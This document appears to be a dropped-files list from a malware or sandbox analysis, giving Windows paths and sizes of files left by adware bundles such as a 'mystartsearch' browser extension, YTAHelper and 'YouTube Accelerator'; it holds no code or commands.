    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\googlelogo.png (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\misc.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\ru\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\properties.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\en-US\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\settings.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\defaults\preferences\preferences.js (379 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\pack\common.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\simple.css (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\aes.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\addonmanager.js (531 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\restoreprefs.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\en\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\search.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\stat.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
    C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\default_logo.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\es-419\locale.properties (2 bytes)
    %Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\es\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\remoterequest.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\6B12.tmp (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\index.html (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\quick_start.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\icon.png (628 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\pack\ga.js (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\newtab.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\BFVUpdateM.dll (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\tr\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\6AF2.tmp (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\loading.gif (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\google_trends.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\js.js (660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\vi\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\logo.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\it\locale.properties (1 bytes)
    C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome.manifest (1 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\misc.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\style.css (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\last_tab.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\pl\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\defaults\preferences\fvd.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\speed_dial.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\STab_Down_6.0.6.8.exe (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\RegWrite.exe (86 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\422.db (260 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
    C:\ProgramData\YTAHelper\config.json (486 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
    C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
    %Program Files% (x86)\YTAHelper\config.json (486 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
    C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
    C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
    C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
    C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
    C:\Windows\Temp\SBC35FF.tmp (98 bytes)
    C:\Windows\Temp\SBCEEC8.tmp (547 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3652.log (591 bytes)
    %Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
    C:\Windows\Temp\SBC519C.tmp (51193 bytes)
    C:\Windows\Temp\SBC33DC.tmp (44 bytes)
    C:\Windows\Temp\SBC1286.tmp (98 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (3075 bytes)
    C:\Windows\Temp\SBC480A.tmp (44 bytes)
    C:\Windows\Temp\SBC76BA.tmp (486 bytes)
    C:\ProgramData\TEMP:56E2E879 (232 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_YouTubeAcceleratorService.log (262279 bytes)
    C:\Windows\Temp\SBC79B7.tmp (486 bytes)
    %Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
    %Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
    %Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18807\ins_shopperpro.exe (21878 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_7887\ins_postInst.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_273\ins_postInst.exe (7726 bytes)
    C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
    %Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2408_testlsp.log_tmp (987 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3284.tmp (242 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3295.tmp (682 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3840_YouTubeAccelerator.log (14811 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3232.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2408_testlsp.log_tmp (296 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2408.log_tmp (749 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32BA.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32A7.tmp (50 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32BC.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3243.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (272542 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2408_testlsp.log_tmp (64 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3840_YouTubeAccelerator.log_tmp (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk320E.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk319B.tmp (242 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk31BC.tmp (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32CE.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_YouTubeAcceleratorService.log_tmp (53 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32A9.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk320C.tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3652.log_tmp (493 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log (77796 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log_tmp (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3230.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\Ltjhenhlzwrs.tmp (422820 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\Devtf.exe (1888669 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\StdUtils.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3903.bat (411 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\FacebookIsGod.dll (2467 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a (145762 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_b (145762 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_c (145762 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_d (145762 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_e (145762 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula[1].htm (1061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.0 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.1 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.2 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.3 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.4 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.5 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.6 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.7 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1252 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4341 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoThreeWavesBG[1].jpg (318 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\55bf8432df4546428c4cd4ba3636f283[1].htm (35632 bytes)
